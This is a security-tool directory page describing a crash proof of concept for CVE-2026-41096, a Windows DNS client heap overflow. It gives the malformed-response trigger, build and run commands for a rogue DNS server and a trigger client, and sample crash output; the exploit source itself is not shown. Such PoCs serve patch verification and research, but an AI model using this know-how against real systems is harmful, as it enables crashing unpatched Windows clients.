Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41096 — CVE-2026-41096: Heap Overflow in the Windows DNS Client | Kitploit
Tools/GitHubGitHub/m0n1x90/cve-2026-41096
Payload GenerationVulnerability AnalysisExploitationFuzzingDNS AnalysisBinary Exploitation
GitHubm0n1x90/cve-2026-41096

CVE-2026-41096

CVE-2026-41096: Heap Overflow in the Windows DNS Client

View Repository
322 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41096 - Crash PoC

Heap overflow in DnsRawTruncateMessageForUdp() (dnsapi.dll). A crafted DNS response with QDCOUNT=0 and a large OPT record causes a 604-byte heap overflow when the truncation logic miscalculates the destination pointer.

MSRC advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096

Components

FileDescription
rogue_dns_server.pyRogue DNS server (Python 3). Replies to every query with a QDCOUNT=0 + OPT response (623 bytes).
trigger_client.cTrigger client (C/Win32). Calls DnsQueryRaw pointed at the rogue server. Catches the crash via SetUnhandledExceptionFilter.

Requirements

Attacker (rogue server):

  • Python 3
  • Root/admin (port 53)

Victim (trigger client):

  • Windows OS with DnsCache service (needs DnsQueryRaw)
  • Vulnerable version of dnsapi.dll
  • Visual Studio / Windows SDK (to build)

Usage

1. Start the rogue server:

root@kitploit:~
sudo python3 rogue_dns_server.py

2. Build and run the trigger client:

root@kitploit:~
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>

3. (Optional) Enable Page Heap for a deterministic crash:

root@kitploit:~
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>

Exit Codes

CodeMeaning
0System is patched (DNS_ERROR_BAD_PACKET returned cleanly)
1Error (DnsQueryRaw not found, network issue, etc.)
2Crash detected (heap overflow confirmed)

Example Output

Vulnerable (Page Heap):

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000

[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.

Vulnerable (no Page Heap):

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...

[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.

Patched:

root@kitploit:~
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.
Download Tool